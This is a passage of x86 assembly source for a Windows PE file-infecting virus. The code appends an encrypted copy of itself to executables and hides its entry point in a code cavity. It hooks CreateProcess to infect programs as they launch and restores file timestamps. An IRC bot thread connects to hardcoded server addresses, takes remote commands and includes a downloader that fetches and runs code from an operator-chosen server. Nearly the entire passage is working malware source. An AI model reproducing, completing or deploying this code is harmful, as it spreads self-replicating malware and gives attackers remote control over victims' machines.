or eax, eax jz CloseFile MapViewOfFile: push [ebp + memory] ; memory to map push 0 ; file offset push 0 ; file offset push 2 ; file map write mode push eax ; file map handle lea eax, [ebp + AMapViewOfFile] ; ok map the file call GETAPI or eax, eax jz CloseMap mov [ebp + mapaddress], eax ; save that base CheckForMZMark: cmp word ptr [eax], 'ZM' jne UnmapView CheckInfectionMark: cmp word ptr [eax + 38h], 'll' je UnmapView NotYetInfected: mov esi, dword ptr [eax + 3ch] cmp esi, 200h ja UnmapView add esi, eax cmp dword ptr [esi], 'EP' jne UnmapView mov [ebp + PEheader], esi mov eax, [esi + 28h] mov [ebp + ip_original], eax mov eax, [esi + 34h] mov [ebp + imagebase], eax

; an exe file?

; already infected?

; is it a PE file ? ; save va PE header ; save original ip ; save imagebase

;------------------------------[ append section ]----------------------------; CheckForEPO: pushad mov [ebp + epo_opcode], 15FFh call CREATE_EPO or eax, eax jnz LocateBeginOfLastSection mov [ebp + epo_opcode], 25FFh call CREATE_EPO or eax, eax jnz LocateBeginOfLastSection popad jmp UnmapView

; search for call opcode

LocateBeginOfLastSection: popad movzx ebx, word ptr [esi + 20d] ; optional header size add ebx, 24d ; file header size movzx eax, word ptr [esi + 6h] ; no of sections dec eax ; (we want the last-1 mov ecx, 28h ; sectionheader) mul ecx ; * header size add esi, ebx ; esi = begin of last add esi, eax ; section's header CheckForOverLays:

mov eax, [esi add eax, [esi mov ecx, [ebp mov ecx, [ecx div ecx inc eax mul ecx mov ecx, [ebp cmp ecx, eax ja UnmapView mov ecx, 08h

+ + + +

10h] 14h] PEheader] 38h]

; section phys size ; section phys offset

+ filesize] ; we dont infect those

CheckForZipSFX: lea edi, [ebp + zip] push ecx push esi mov ecx, 03h rep cmpsb pop esi pop ecx je UnmapView inc esi loop CheckForZipSFX ChangeLastSectionHeaderProperties: sub esi, 08h or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h NewAlignedPhysicalSize: mov eax, [esi + 8h] add eax, Leap-Start mov ecx, [ebp + PEheader] mov ecx, [ecx + 3ch] div ecx inc eax mul ecx mov [esi + 10h], eax NewAlignedVirtualSize: mov eax, [esi + 8h] push eax add eax, Leap-Start mov ecx, [ebp + PEheader] mov ecx, [ecx + 38h] div ecx inc eax mul ecx mov [esi + 8h], eax

; old virt size

; and align it to ; the filealign ; save it

; get old ; store it

; and align it to ; the sectionalign ; save new value

NewAlignedImageSize: mov eax, dword ptr [esi + 0ch] add eax, dword ptr [esi + 8h] mov [ebp + imagesize], eax NewAlignedFileSize: mov eax, dword ptr [esi + 10h] add eax, dword ptr [esi + 14h] mov [ebp + filesize], eax CalculateNewIp: pop eax push eax add eax, dword ptr [esi + 0ch]

; get virtual offset ; + new virtual size ; = new imagesize

; get new phys size ; add offset of phys ; size = filesize

; + virtual offset

mov [ebp + epo_ipnew_rva], eax CreateEpoIp: add eax, [ebp + imagebase] mov [ebp + epo_ipnew_va], eax CalculateEncryptionKey: mov ebx, [ebp + epo_aoc_pa] sub ebx, [ebp + epo_cs_pa] add ebx, [ebp + epo_cs_rva] add ebx, 04h add ebx, [ebp + imagebase] CalculateDelta: mov eax, [ebp + epo_ipnew_va] sub eax, ebx mov [ebp + delta], eax CopyVirusDecryptorToEndOfFile: pop eax mov edi, eax add edi, [ebp + mapaddress] add edi, [esi + 14h] lea esi, [ebp + Start] mov ecx, (RealStart - Start) rep movsb

; new ip

; ebx-> original return address ; after call = encryption key

; virtual size ; mapaddress ; add raw data offset ; copy virus

PrepareToEncryptAndCopy: mov ecx, ((Leap-RealStart)/4 + 1) cld EncryptAndCopyVirus: movsd sub edi, 04h xor dword ptr [edi], ebx add edi, 04h loop EncryptAndCopyVirus SearchForCavity: mov esi, [ebp + epo_cs_pa] mov ecx, [ebp + cs_rawsize] call CAVITYSEARCH or esi, esi jz UpdatePEHeaderWithChanges mov eax, esi sub eax, [ebp + epo_cs_pa] add eax, [ebp + epo_cs_rva] add eax, [ebp + imagebase] mov [ebp + cavity_va], eax WriteVirusJumpIntoCavity: add eax, 04h mov dword ptr [esi], eax add esi, 04h mov dword ptr [esi], 0524048Bh add esi, 04h mov eax, [ebp + delta] mov dword ptr [esi], eax add esi, 04h mov word ptr [esi], 0E0FFh SetEpo: mov eax, [ebp + cavity_va]

mov mov sub mov

edx, [ebp + epo_aoc_pa] dword ptr [edx], eax edx, 02h word ptr [edx], 15FFh

; turn jmp into call

UpdatePEHeaderWithChanges: mov esi, [ebp + mapaddress] mov word ptr [esi + 38h], 'll' mov esi, [ebp + PEheader] mov eax, [ebp + imagesize] mov [esi + 50h], eax CalculateNewCheckSum: cmp dword ptr [esi + 58h], 00h je UnmapView LoadImageHlpDll: lea eax, [ebp + imagehlp] push eax lea eax, [ebp + ALoadLibrary] call GETAPI or eax, eax jz UnmapView mov [ebp + imagehlpaddress], eax CalculateNewChecksum: mov esi, [ebp + PEheader] push dword ptr [esi + 58h] lea eax, [ebp + buffer] push eax push dword ptr [ebp + filesize] push dword ptr [ebp + mapaddress] lea eax, [ebp + ACheckSumMappedFile] call GETIAPI

; set infectionmark

; set new imagesize

;--------------------------------[ unmap file ]------------------------------; UnmapView: push dword ptr [ebp + mapaddress] lea eax, [ebp + AUnmapViewOfFile] call GETAPI CloseMap: push dword ptr [ebp + maphandle] lea eax, [ebp + ACloseHandle] call GETAPI push 0 ; set file pointer to push 0 ; beginning + filesize push [ebp + filesize] ; = end of file push [ebp + filehandle] lea eax, [ebp + ASetFilePointer] call GETAPI push [ebp + filehandle] lea eax, [ebp + ASetEndOfFile] call GETAPI ; set EOF equal to current ; filepointer position

;--------------------------------[ close file ]------------------------------; CloseFile: push dword ptr [ebp + myfinddata.fd_ftLastWriteTime] push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]

push dword ptr [ebp + myfinddata.fd_ftCreationTime] push dword ptr [ebp + filehandle] lea eax, [ebp + ASetFileTime] call GETAPI push [ebp + filehandle] lea eax, [ebp + ACloseHandle] call GETAPI InfectionError: push dword ptr [ebp + myfinddata.fd_dwFileAttributes] lea eax, [ebp + myfinddata.fd_cFileName] push eax lea eax, [ebp + ASetFileAttributes] call GETAPI ret INFECT_FILE endp RESIDENT_CP proc InterceptCP: pushad call GetApiDelta GetApiDelta: pop ebp sub ebp, offset GetApiDelta call FIND_GETPROCADDRESS_API_ADDRESS call FIND_USER32_BASE_ADDRESS call RESIDENT_CP2 call IRC_LAUNCH popad GetNewDelta: call NewDelta NewDelta: pop eax sub eax, offset NewDelta RestoreApiCode: pushad mov edi, [eax + cp_oldapicodeaddress] lea esi, [eax + cp_oldapicode] mov ecx, 06h rep movsb popad pop [eax + returnaddress] call dword ptr [eax + cp_oldapicodeaddress] ReHookApi: pushad call GetNewDelta2 GetNewDelta2: pop ebp sub ebp, offset GetNewDelta2 mov edi, [ebp + cp_oldapicodeaddress] lea esi, [ebp + cp_newapicode] mov ecx, 06h

rep movsb popad ReturnToOriginalCaller: db 68h returnaddress dd 0 ret RESIDENT_CP endp RESIDENT_CP2 proc CheckForEmptyCommandLine: mov esi, dword ptr [esp + 2ch] or esi, esi jz Continue ExtractFileName: xor ecx, ecx cmp byte ptr [esi], '"' jne FileNameNormal inc esi push esi GetFileNamePartBetweenQuotes: cmp byte ptr [esi], '"' je GetBetweenQuotes inc esi inc ecx cmp ecx, 100h ja FileNameEndNotFound jmp GetFileNamePartBetweenQuotes GetBetweenQuotes: mov edi, esi pop esi sub edi, esi mov ecx, edi jmp StoreFileName FileNameNormal: push esi GetNormalFileName: cmp byte ptr [esi], ' ' je FoundNormalFileName inc esi inc ecx cmp ecx, 100h ja FileNameEndNotFound jmp GetNormalFileName FoundNormalFileName: mov edi, esi pop esi sub edi, esi mov ecx, edi jmp StoreFileName FileNameEndNotFound: pop esi jmp Continue

; esi hold start of filename ; ecx holds size of filename

; esi hold start of filename ; ecx holds size of filename

StoreFileName: push edi push esi push ecx mov xor lea rep ecx, 100h eax, eax edi, [ebp + filenamebuffer] stosb

pop ecx pop esi pop edi lea edi, [ebp + filenamebuffer] rep movsb CheckForRem: lea esi, [ebp + filenamebuffer] cmp word ptr [esi], 'er' jne FindFirstFile inc esi cmp word ptr [esi], 'me' je Continue FindFirstFile: lea eax, [ebp + myfinddata] ; win32 finddata structure push eax lea eax, [ebp + filenamebuffer] push eax lea eax, [ebp + AFindFirstFile] ; find the file call GETAPI cmp eax, 0FFFFFFFFh ; file was not found je Continue cmp [ebp + debug], 00h je InfectThisFile xor ecx, ecx lea esi, [ebp + myfinddata.fd_cFileName] CheckFileName: cmp byte ptr [esi], 0 je Continue cmp dword ptr [esi], 'mmud' je InfectThisFile inc esi inc ecx cmp ecx, 100h ja Continue jmp CheckFileName InfectThisFile: mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize mov [ebp + filesize], ecx ; save the filesize add ecx, Leap - Start + 1000h ; filesize + virus mov [ebp + memory], ecx ; + workspace = memory call INFECT_FILE Continue: ret RESIDENT_CP2 endp

HOOK_API proc ; IN: hookstruct: ; 00 : offset api name ; 04 : old apicodeaddress ; 08 ; offset for old apicode ; 12 ; offset for new apicode ; 16 : new apicodeaddress FindKernelExportTable: pushad mov edi, [ebp + kernel32address] add edi, dword ptr [edi + 3ch] mov esi, dword ptr [edi + 78h] add esi, [ebp + kernel32address] GetNecessaryData: mov eax, dword ptr [esi + 18h] add eax, [ebp + kernel32address] mov [ebp + numberofnames], eax mov eax, dword ptr [esi + 1Ch] add eax, [ebp + kernel32address] mov [ebp + addressoffunctions], eax mov eax, dword ptr [esi + 20h] add eax, [ebp + kernel32address] mov [ebp+addressofnames], eax mov eax, dword ptr [esi + 24h] add eax, [ebp + kernel32address] mov [ebp+addressofordinals], eax

; save number of names ; get ra of table with ; function addresses ; get ra of table with ; pointers to names ; get ra of table with ; pointers to ordinals

BeginApiAddressSearch: mov esi, [ebp + addressofnames] ; search for mov [ebp + AONindex], esi ; API in names mov edi, [esi] ; table add edi, [ebp + kernel32address] HookCreateProcess: xor ecx, ecx OkTryAgain: lea ebx, [ebp + hookstruct] mov esi, dword ptr [ebx] MatchByteNow: cmpsb jne NextOneNow cmp byte ptr [esi], 0 je YesGotIt jmp MatchByteNow

; did the entire string ; match ?

NextOneNow: inc cx add dword ptr [ebp + AONindex], 4 mov esi, [ebp + AONindex] mov edi, [esi] add edi, [ebp + kernel32address] jmp OkTryAgain

; get next namepointer ; in table (4 dwords)

YesGotIt: shl ecx, 1 mov esi, [ebp + addressofordinals] ; ordinal = nameindex * add esi, ecx ; size of ordinal entry

xor eax, eax ; + ordinal table base mov ax, word ptr [esi] ; offset of address shl eax, 2 ; of function = ordinal mov esi, [ebp + addressoffunctions] ; * size of entry of add esi, eax ; address table mov edi, dword ptr [esi] ; get address add edi, [ebp + kernel32address] lea eax, [ebp + hookstruct] mov eax, dword ptr [eax + 4] mov dword ptr [eax], edi SetApiHook: mov eax, edi shr eax, 12d ModifyPagePermissions: push 20060000h push 00000000h push 00000001h push eax push 0001000dh call dword ptr [ebp + AVxdcall0A] cmp jne xor jmp eax, 0FFFFFFFh SaveCreateProcessApiCode eax, eax ApiHookError

SaveCreateProcessApiCode: lea esi, [ebp + hookstruct] mov esi, dword ptr [esi + 4] mov esi, dword ptr [esi] lea edi, [ebp + hookstruct] mov edi, dword ptr [edi + 8] mov ecx, 06h rep movsb PrepareCreateProcessApiCode: lea esi, [ebp + hookstruct] mov esi, dword ptr [esi + 12] mov byte ptr [esi], 68h inc esi lea eax, [ebp + hookstruct] mov eax, dword ptr [eax + 16] mov eax, dword ptr [eax] mov dword ptr [esi], eax add esi, 04h mov byte ptr [esi], 0c3h ChangeCreateProcessApiCode: lea edi, [ebp + hookstruct] mov edi, dword ptr [edi + 4] mov edi, dword ptr [edi] lea esi, [ebp + hookstruct] mov esi, dword ptr [esi + 12] mov ecx, 06h rep movsb ApiHookError: popad ret

HOOK_API endp CREATE_EPO proc LocateCodeSectionHeader: mov eax, [ebp + ip_original] call FIND_SECTION or eax, eax jz ExitEpoRoutine ; edi = start of code section header GetPointerToRawData: mov eax, dword ptr [edi + 12d] mov [ebp + epo_cs_rva], eax mov mov mov add mov mov mov mov sub add sub ecx, [ebp edx, edx, [ebp esi, eax, edx, eax, esi, ecx, dword ptr [edi + 16d] + cs_rawsize], ecx dword ptr [edi + 20d] [ebp + mapaddress] + epo_cs_pa], edx edx [ebp + ip_original] [ebp + epo_cs_rva] edx eax eax

; eax = rva cs

; raw size of code section ; RVA to raw data of code section

; esi = physical address to raw data of code section ; ecx = size of raw data of code section ScanForOpcode: lodsw dec esi cmp word ptr [ebp + epo_opcode], ax je FoundOpcode loop ScanForOpcode xor eax, eax ; eax = 0 = error jmp ExitEpoRoutine ; not found FoundOpcode: dec ecx push esi push ecx inc esi ; esi = physical address of [xxxx] in code section ExamineAddress: mov [ebp + epo_aoc_pa], esi mov eax, dword ptr [esi] mov [ebp + epo_awaa_va], eax ;pushad ;call MSG_BEEP ;popad ; on stack: esi, ecx GetRVAImportTable: mov esi, [ebp + PEheader]

; address of call ; address where api address

mov eax, [esi + 80h] call FIND_SECTION or eax, eax jz NotFound ; edx = va of import section ; ecx = size of import section ; on stack: esi, ecx CompareAddressToImportAddress: mov esi, [ebp + epo_awaa_va] cmp edx, esi jb CheckNotAbove jmp NotFound CheckNotAbove: add edx, ecx cmp edx, esi ja FoundGoodInsertionPoint NotFound: pop ecx pop esi jmp ScanForOpcode FoundGoodInsertionPoint: mov eax, 0ah call GET_RANDOM_NUMBER_WITHIN cmp eax, 3h ja NotFound pop ecx pop esi mov eax, 01h ; eax == 0 -> error ; eax == 1 -> found ExitEpoRoutine: ret CREATE_EPO endp FIND_USER32_BASE_ADDRESS proc GetUser32Base: lea eax, [ebp + user32] push eax lea eax, [ebp + ALoadLibrary] call GETAPI mov [ebp + user32address], eax ret FIND_USER32_BASE_ADDRESS endp FIND_WSOCK32_BASE_ADDRESS proc

; rva of import table

LoadWsock32: lea eax, [ebp + wsock32] ; not found, then push eax ; load the dll lea eax, [ebp + ALoadLibrary] ; first call GETAPI mov [ebp + wsock32address], eax

ret FIND_WSOCK32_BASE_ADDRESS endp FIND_SECTION proc ; ; ; ; In: Out: Out: out: eax edx ecx edi rva somewhere in section va of section start size of section va of section header

FindFirstSectionHeader: mov esi, [ebp + mapaddress] add esi, dword ptr [esi + 3ch] ; esi=offset peheader movzx ecx, word ptr [esi + 06h] ; ecx = nr. of sections movzx edi, word ptr [esi + 20d] ; optional header size add esi, 24d ; file header size add edi, esi ; edi points to first section header FindCorrespondingSection: push eax mov edx, dword ptr [edi + 12d] sub eax, edx cmp eax, dword ptr [edi + 08d] jb SectionFound NotThisSection: pop eax add edi, 40d loop FindCorrespondingSection EndSectionSearch: xor eax, eax ret SectionFound: pop eax mov edx, dword ptr [edi + 12d] add edx, [ebp + imagebase] mov ecx, dword ptr [edi + 08d] ret FIND_SECTION endp GET_RANDOM_NUMBER proc push eax ebx lea eax, [ebp + AGetTickCount] call GETAPI lea mul sbb cmc adc pop ret ebx, [ebp + random_number] dword ptr [ebx] edx,eax [ebx],edx ebx eax ; EBX = pointer to random_number Multiply previous miliseconds with Add low-order word of 32-bit random Complement carry flag Store 32-bit random number

; section RVA ; section size

; ; ; ;

GET_RANDOM_NUMBER endp GET_RANDOM_NUMBER_WITHIN proc

push ebx call GET_RANDOM_NUMBER xchg eax,ebx xor eax,eax xchg eax,edx div ebx pop ebx xchg eax, edx ret GET_RANDOM_NUMBER_WITHIN endp

; ; ; ;

EBX = number in range Zero EAX EDX = 32-bit random number EAX = random number within range

CAVITYSEARCH proc ;----------------------------------------------------------------------------; Cavity search engine by Benny and Darkman of 29A ; ; Calling parameters: ; ECX = size of search area ; ESI = pointer to search area ; ; Return parameters: ; ESI = pointer to cave CSE: pushad mov ebp, 14d lodsb

; EBP = size of cave wanted ; AL = byte within search area

reset_cavity_loop: xchg eax,ebx ; BL = " " " " xor edx,edx ; Zero EDX dec ecx ; Decrease counter cmp ecx,ebp ; Unsearched search area large enough? jb no_cave_found ; Below? Jump to no_cave_found find_cave_loop: lodsb ; AL = byte within search area cmp al,bl ; Current byte equal to previous byte? jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop inc edx ; Increase number of bytes found in ; cave cmp edx,ebp ; Found a cave large enough? jne find_cave_loop ; Not equal? Jump to find_cave_loop sub esi,ebp ; ESI = pointer to cave jmp exit_cave no_cave_found: xor esi, esi exit_cave: mov [esp + 4],esi popad ret ;----------------------------------------------------------------------------CAVITYSEARCH endp

names

dd

30d

name1 name2 name3 name4 name5 name6 name7 name8 name9 name10 name11 name12 name13 name14 name15 name16 name17 name18 name19 name20 name21 name22 name23 name24 name25 name26 name27 name28 name29 name30 name31 servers server1 server2 server3 server4 server5 port1 port2 port3 port4 port5 dd dd dd dd dd

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db dd db db db db db

'pion',0 'sarge',0 'blink',0 'midge',0 'xaero',0 'void',0 'vivid',0 'xeon',0 'n0bs',0 'helios',0 'phobos',0 'flux',0 'hypno',0 'bond',0 'chaos',0 'blup',0 'sntnl',0 'fire',0 'water',0 'earth',0 'heart',0 'stone',0 'light',0 'love',0 'silver',0 'surfer',0 'panic',0 'm00dy',0 'texas',0 'snow',0 'beta',0 04d "195.112.4.25",0 "195.159.135.99",0 "195.121.6.196",0 "154.11.89.164",0 "205.188.149.3",0

7000d 6660d 6660d 6661d 6667d

GET_ITEM_FROM_LIST proc ; IN: ; esi ; OUT: ; ecx ; eax eax = total number of items = offset of first item esi = pntr to start of item = size of item = random number

GetItemFromList: push edi push esi call GET_RANDOM_NUMBER_WITHIN mov ecx, eax pop esi push eax or ecx, ecx jz GetSizeOfItem

GetPositionOfItem: push ecx call GET_STRING_SIZE add esi, ecx inc esi pop ecx loop GetPositionOfItem GetSizeOfItem: call GET_STRING_SIZE pop eax pop edi ret GET_ITEM_FROM_LIST endp IRC_LAUNCH proc IRCLaunch: cmp [ebp + ircstatus], 00h je CreateIRCThread ret CreateIRCThread: lea eax, [ebp + ircthreadid] push eax push 00h push 01h lea eax, [ebp + IRC_THREAD] push eax push 00h push 00h lea eax, [ebp + ACreateThread] call GETAPI mov [ebp + ircstatus], 01h ret IRC_LAUNCH endp IRC_THREAD proc handle: dword IrcThreadEntryPoint: pushad call GetIrcDelta GetIrcDelta: pop ebp sub ebp, offset GetIrcDelta GetWSock32Base: call FIND_GETPROCADDRESS_API_ADDRESS call FIND_WSOCK32_BASE_ADDRESS LoadWinInetDll: lea eax, [ebp + wininet] push eax lea eax, [ebp + ALoadLibrary] call GETAPI or eax, eax jz UserIsOffline FindConnectionApiAddress: lea ebx, [ebp + AInternetGetConnectedState]

push ebx push eax call [ebp + AGetProcAddressA] or eax, eax jz UserIsOffline CheckConnection: push 00h lea ebx, [ebp + buffer] push ebx call eax or eax, eax jnz UserIsOnline UserIsOffline: push 10000h lea eax, [ebp + ASleep] call GETAPI jmp LoadWinInetDll UserIsOnline: lea eax, [ebp + mywsadata] push eax push 101h lea eax, [ebp + AWSAStartup] call GETWAPI OpenSocket: push 00h push SOCK_STREAM push AF_INET lea eax, [ebp + Asocket] call GETWAPI mov [ebp + socketh], eax GetSocketValues: mov [ebp + mysocket.sin_family], AF_INET mov eax, [ebp + servers] lea esi, [ebp + server1] call GET_ITEM_FROM_LIST push esi push ecx GetPort: lea esi, mov ecx, mul ecx add esi, mov edx,

[ebp + port1] 04 eax dword ptr [esi]

push edx lea eax, [ebp + Ahtons] call GETWAPI mov [ebp + mysocket.sin_port], ax pop ecx lea eax, [ebp + Ainet_addr] call GETWAPI mov [ebp + mysocket.sin_addr], eax Connect: push 10h lea eax, [ebp + mysocket]

push eax push [ebp + socketh] lea eax, [ebp + Aconnect] call GETWAPI test eax, eax jnz Connect LogonToIrcServer: call LOGON DoTheLoop: call IRC_RECEIVE or eax, eax jz CloseSocket jmp DoTheLoop CloseSocket: push [ebp + socketh] lea eax, [ebp + Aclosesocket] call GETWAPI WSACleanUp: lea eax, [ebp + AWSACleanup] call GETWAPI ExitThread: popad ret IRC_THREAD endp LOGON proc near call IRC_RECEIVE SendNick: lea edi, [ebp + offset buffer] lea esi, [ebp + offset nick] mov ecx, 05h rep movsb lea esi, [ebp + name1] mov eax, [ebp + names] call GET_ITEM_FROM_LIST rep movsb mov ebx, 10d call GET_RANDOM_NUMBER_WITHIN add eax, 48d mov byte ptr [edi], al inc edi mov ebx, 10d call GET_RANDOM_NUMBER_WITHIN add eax, 48d mov byte ptr [edi], al inc edi lea esi, [ebp + crlf] mov ecx, 03h rep movsb lea esi, [ebp + buffer] call GET_STRING_SIZE call IRC_SEND call IRC_RECEIVE

SendUser: lea edi, [ebp + buffer] lea esi, [ebp + user1] mov ecx, 05d rep movsb call CREATE_RANDOM_NAME lea esi, [ebp + user2] mov ecx, 18d rep movsb lea esi, [ebp + buffer] call GET_STRING_SIZE call IRC_SEND call IRC_RECEIVE call IRC_RECEIVE SendJoin: lea esi, [ebp + join] mov ecx, 13d call IRC_SEND PostVersionMessage: call .PostVersion LogonDone: ret LOGON endp IRC_RECEIVE proc push 00h push 400h lea eax, [ebp + buffer] push eax push [ebp + socketh] lea eax, [ebp + ARecv] call GETWAPI mov [ebp + nrbytes], eax call IRC_SCANBUFFER ret IRC_RECEIVE endp IRC_SEND proc ; esi = snd buffer ; ecx = size to send push 00h push ecx push esi push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI ret IRC_SEND endp

.PostVersion: lea edi, [ebp + buffer] lea esi, [ebp + post]

mov ecx, 16d rep movsb lea esi, [ebp + post_vers] mov ecx, 5d rep movsb lea esi, [ebp + version] mov ecx, 4d rep movsb lea esi, [ebp + crlf] mov ecx, 03d rep movsb lea esi, [ebp + buffer] call GET_STRING_SIZE call IRC_SEND ret .RespondPing: lea edi, [ebp lea esi, [ebp mov ecx, 04h rep movsb mov ecx, [ebp lea esi, [ebp call IRC_SEND .RespondPing_End: ret IRC_SCANBUFFER proc ; IN esi: buffer start ; ecx: buffer size ScanDaBuffer: mov ecx, [ebp + nrbytes] lea esi, [ebp + buffer] .PingPongMessage: cmp dword ptr [esi], 'GNIP' jne GetReplyNick call .RespondPing jmp EndLoop GetReplyNick: jecxz EndLoop inc esi dec ecx cmp byte ptr [esi], '!' je ExtractReplyNick cmp byte ptr [esi], ':' je EndLoop jmp GetReplyNick ExtractReplyNick: push esi push ecx mov ecx, esi lea esi, [ebp + buffer] sub ecx, esi dec ecx inc esi lea edi, [ebp + replynick] rep movsb

+ buffer] + pong]

+ nrbytes] + buffer]

mov byte ptr [edi], 00h pop ecx pop esi ScanLoop: jecxz EndLoop cmp dword ptr [esi], 'VIRP' je SearchTextStart inc esi dec ecx jmp ScanLoop SearchTextStart: jecxz EndLoop cmp byte ptr [esi], ':' je .CommandMessage inc esi dec ecx jmp SearchTextStart .CommandMessage: inc esi dec ecx cmp dword ptr [esi], 's54p' jne EndLoop GetText: add esi, 5 sub ecx, 5 cmp byte ptr [esi], '/' jne EndLoop CheckIncomingCommandMessage: inc esi dec ecx cmp dword ptr [esi], 'kc1n' je CreateRandomNick cmp dword ptr [esi], 't1uq' je QuitIrc cmp dword ptr [esi], 'c3xe' je LaunchInstaller cmp dword ptr [esi], 't4ts' je InstallerStatus call IRC_SEND jmp EndLoop CreateRandomNick: lea edi, [ebp + mynick] call CREATE_RANDOM_NAME mov byte ptr [edi], 00h lea edi, [ebp + buffer] mov dword ptr [edi], 'KCIN' add edi, 04h mov byte ptr [edi], ' ' inc edi lea esi, [ebp + mynick] call GET_STRING_SIZE rep movsb lea esi, [ebp + crlf] mov ecx, 03h rep movsb lea esi, [ebp + buffer] call GET_STRING_SIZE

call IRC_SEND jmp EndLoop QuitIrc: lea esi, [ebp + quit] mov ecx, 06h call IRC_SEND xor eax, eax jmp EndLoop LaunchInstaller: call INSTALLER_LAUNCH jmp EndLoop InstallerStatus: call INSTALLER_STATUS EndLoop: ret IRC_SCANBUFFER endp

version post post_vers mynick replynick nrbytes ircstatus ircthreadid wsock32 wininet

db db db db db

"0101",0 "PRIVMSG #sntnl :",0 "vers ",0 5h dup(0) 5h dup(0)

dd 0 dd 0 dd 0 db "WSOCK32.dll",0 db "WININET.dll",0

ASend db "send",0 ARecv db "recv",0 AWSAGetLastError db "WSAGetLastError",0 AWSAGetLastErrorA dd 0 AInternetGetConnectedState db "InternetGetConnectedState",0 ACreateThread db "CreateThread",0 AWSAStartup db "WSAStartup",0 AWSACleanup db "WSACleanup",0 Asocket db "socket",0 Aconnect db "connect",0 Aclosesocket db "closesocket",0 Ahtons db "htons",0 Ainet_addr db "inet_addr",0 AGetTickCount db "GetTickCount",0 AGetLastError db "GetLastError",0 ASleep db "Sleep",0 random_number ipaddress dd 01234567h db "212.43.217.183",0

; if the bot does not appear online in #sentinel, try using a different ; server ip-address. user1 user2 nick pong db db db db "USER ",0 " bb cc sentinel",0dh,0ah "NICK ",0 "PONG",0

join quit crlf dots socketh buffer mywsadata mysocket CREATE_RANDOM_NAME proc

db db db db dd db

"JOIN #sntnl",0dh,0ah "QUIT",0dh,0ah 0dh, 0ah,0 ' :',0 0 400h dup(0)

WSADATA <> SOCKADDR <>

; IN: edi = place to put 5 rnd chars call call call call call ret GetRandomChar GetRandomChar GetRandomChar GetRandomChar GetRandomChar

GetRandomChar: mov eax, 26d call GET_RANDOM_NUMBER_WITHIN add eax, 97d mov byte ptr [edi], al inc edi ret CREATE_RANDOM_NAME endp GET_STRING_SIZE proc GetStringSize: xor ecx, ecx SearchEndOfString: cmp byte ptr [esi + ecx], 0h je StringSizeFound inc ecx jmp SearchEndOfString StringSizeFound: ret GET_STRING_SIZE endp INSTALLER_LAUNCH proc LaunchTheInstaller: add esi, 05h sub ecx, 05h GetServerValue: cmp byte ptr [esi], '[' jne ExitInstallerLaunch inc esi FoundServerValueStart: mov edi, esi xor edx, edx GetServerLoop:

cmp byte ptr [esi], ']' je StoreServerValue inc esi inc edx dec ecx cmp ecx, 00h je ExitInstallerLaunch jmp GetServerLoop StoreServerValue: mov esi, edi push ecx lea edi, [ebp + installer_server] mov ecx, edx rep movsb pop ecx GetGetCommand: cmp byte ptr [esi], '[' je FilterGetCommand inc esi dec ecx cmp ecx, 00h je ExitInstallerLaunch jmp GetGetCommand FilterGetCommand: inc esi mov edi, esi xor edx, edx GetCommandLoop: cmp byte ptr [esi], ']' je SaveGetCommand inc esi inc edx dec ecx cmp ecx, 00h je ExitInstallerLaunch jmp GetCommandLoop SaveGetCommand: mov [ebp + installer_getsize], edx mov esi, edi mov ecx, edx lea edi, [ebp + installer_get] rep movsb InstallerGo: mov [ebp + installer_launchstatus], 00h lea eax, [ebp + installerthreadid] push eax push 00h push 1234567h lea eax, [ebp + INSTALLER_THREAD] push eax push 10000h push 00h lea eax, [ebp + ACreateThread] call GETAPI ExitInstallerLaunch: ret

INSTALLER_LAUNCH endp INSTALLER_RECEIVE proc SaveStack: pushad ReceiveData: push edi mov eax, [ebp + nrbytes2] mov esi, dword ptr [ebp + dmHnd] add esi, eax push 00h push edi push esi push [ebp + isocketh] lea eax, [ebp + ARecv] call GETWAPI add [ebp + nrbytes2], eax pop edi mov ecx, eax inc ecx jnz InstallerProceed call [ebp + AWSAGetLastErrorA] cmp eax,2733h je ReceiveData InstallerProceed: popad ret INSTALLER_RECEIVE endp INSTALLER_STATUS proc CheckInstallerStatus: cmp [ebp + installer_launchstatus], je StatusWaiting cmp [ebp + installer_launchstatus], je StatusInstalling cmp [ebp + installer_launchstatus], je StatusDone cmp [ebp + installer_launchstatus], je StatusConnectionError cmp [ebp + installer_launchstatus], je StatusSizeError jmp ExitInstallerStatus StatusWaiting: push 00h push 28d lea eax, [ebp + installer_stat00] push eax push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI jmp ExitInstallerStatus StatusInstalling: push 00h

00h 01h 02h 03h 04h

push 31d lea eax, [ebp + installer_stat01] push eax push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI jmp ExitInstallerStatus StatusDone: push 00h push 25d lea eax, [ebp + installer_stat02] push eax push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI jmp ExitInstallerStatus StatusConnectionError: push 00h push 38d lea eax, [ebp + installer_stat03] push eax push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI jmp ExitInstallerStatus StatusSizeError: push 00h push 31d lea eax, [ebp + installer_stat04] push eax push [ebp + socketh] lea eax, [ebp + ASend] call GETWAPI ExitInstallerStatus: ret INSTALLER_STATUS endp INSTALLER_THREAD proc handle: dword GetInstallerDelta: pushad call InstallerDelta InstallerDelta: pop ebp sub ebp, offset InstallerDelta AllocateExeMem: push 1000000h push GMEM_FIXED lea eax, [ebp + AGlobalAlloc] call GETAPI mov [ebp + dmHnd], eax or eax, eax jz ExitInstaller InstallerWsaStartup:

